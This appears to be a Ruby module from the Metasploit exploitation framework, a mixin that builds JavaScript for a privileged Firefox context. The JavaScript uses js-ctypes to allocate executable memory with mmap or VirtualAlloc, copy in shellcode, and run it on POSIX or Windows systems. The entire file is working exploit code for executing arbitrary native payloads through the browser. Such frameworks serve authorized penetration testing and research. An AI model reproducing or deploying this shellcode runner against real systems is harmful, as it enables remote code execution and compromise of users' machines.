# -*- coding: binary -*-

###
#
# The FirefoxPrivilegeEscalation mixin provides some methods to
# run native shellcode from a Firefox JS privileged environment
#
###

module Msf
module Exploit::Remote::FirefoxPrivilegeEscalation
  
  # Puts the shellcode into memory, adds X flag, and calls it
  # The js function throws on error
  # @return [String] javascript code containing the execShellcode() javascript fn
  def exec_shellcode_source
    %Q|
      var execShellcode = function(shellcode, bytes) {
        Components.utils.import("resource://gre/modules/ctypes.jsm");
        var execPosix = function() {
          var RWX = 7, ANON_PRIVATE = 4098;
          Components.utils.import("resource://gre/modules/ctypes.jsm");
          var LIBS = [
            "/usr/lib/libSystem.B.dylib",
            "libc.so.6",
            "libc.so"
          ];

          var i, lib;
          for (i in LIBS) {
            try {
              lib = ctypes.open(LIBS[i]);
              break;
            } catch (e) {}
          }
          if (!lib) throw new Error("Could not find lib in ["+LIBS+"]");

          var mmap = lib.declare('mmap',
            ctypes.default_abi,   /* calling convention */
            ctypes.voidptr_t,     /* return type */
            ctypes.voidptr_t,     /* address (NULL here) */
            ctypes.size_t,        /* num bytes */
            ctypes.int,           /* PROT_READ OR PROT_WRITE OR PROT_EXEC */
            ctypes.int,           /* MAP_ANONYMOUS OR MAP_PRIVATE */
            ctypes.int,           /* fd (0) */
            ctypes.int            /* offset (0) */
          );
          var memcpy = lib.declare('memcpy',
            ctypes.default_abi,   /* calling convention */
            ctypes.voidptr_t,     /* return type */
            ctypes.voidptr_t,     /* dest */
            ctypes.voidptr_t,     /* src */
            ctypes.size_t         /* size to copy */
          );
          var fork = lib.declare('fork',
            ctypes.default_abi,   /* calling convention */
            ctypes.int            /* return type */
          );
          var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
          var cstr = ctypes.jschar.array()(shellcode);
          //var bytes = ctypes.char.array()(shellcode).length-1;
          memcpy(buff, cstr, bytes);
          /* there is probably a better way to do this */
          var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);
          if (!m) throw new Error("Could not find address of buffer.");
          if (fork() == 0) {
            ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))();
          }
        };

        var execWindows = function() {
          var RWX = 0x40, ANON_PRIVATE = 0x1000;
          var Kernel32 = ctypes.open("Kernel32.dll");
          var VirtualAlloc = Kernel32.declare('VirtualAlloc',
            ctypes.winapi_abi,    /* calling convention */
            ctypes.voidptr_t,     /* return type */
            ctypes.voidptr_t,     /* start address (NULL here) */
            ctypes.size_t,        /* num bytes */
            ctypes.unsigned_long, /* alloc type */
            ctypes.unsigned_long  /* protection flags */
          );
          var RtlMoveMemory = Kernel32.declare('RtlMoveMemory',
            ctypes.winapi_abi,    /* calling convention */
            ctypes.voidptr_t,     /* return type */
            ctypes.voidptr_t,     /* dest */
            ctypes.voidptr_t,     /* src */
            ctypes.size_t         /* size to copy */
          );
          var CreateThread = Kernel32.declare('CreateThread',
            ctypes.winapi_abi,    /* calling convention */
            ctypes.voidptr_t,     /* return type */
            ctypes.voidptr_t,     /* lpThreadAttributes */
            ctypes.voidptr_t,     /* dwStackSize */
            ctypes.voidptr_t,     /* lpStartAddress copy */
            ctypes.voidptr_t,     /* lpParameter */
            ctypes.voidptr_t,     /* dwCreationFlags */
            ctypes.voidptr_t      /* lpThreadId */
          );
          var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX);
          var cstr = ctypes.jschar.array()(shellcode);
          RtlMoveMemory(buff, cstr, bytes);
          var m = buff.toString().match(/"0x([0-9a-fA-F]+)"/);
          if (!m) throw new Error("Could not find address of buffer.");
          var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16));
          CreateThread(null, null, fn, null, null, null);
        };

        var i, errs = [], fns = [execWindows, execPosix];
        for (i in fns) {
          try {
            fns[i](shellcode);
            return true;
          } catch(e) { errs.push(e.message); }
        }

        throw new Error("All methods failed. Exceptions encountered:\\n["+errs+"]");
      };
    |
  end

  # @return [String] javascript source code that kicks off the execution of the payload
  # For a javascript payload, this simply returns the payload source
  # For a native payload, this calls the correct methods to alloc RWX memory and execute shellcode
  def run_payload
    return payload.encoded if js_target?
    %Q|
      #{exec_shellcode_source}
      var sc = unescape("#{Rex::Text.to_unescape(payload.encoded)}");
      execShellcode(sc, #{payload.encoded.bytes.to_a.length});
    |
  end

  # @return [Boolean] the user has selected a javascript (non-native) target
  def js_target?
    target.arch[0] == ARCH_FIREFOX
  end

end
end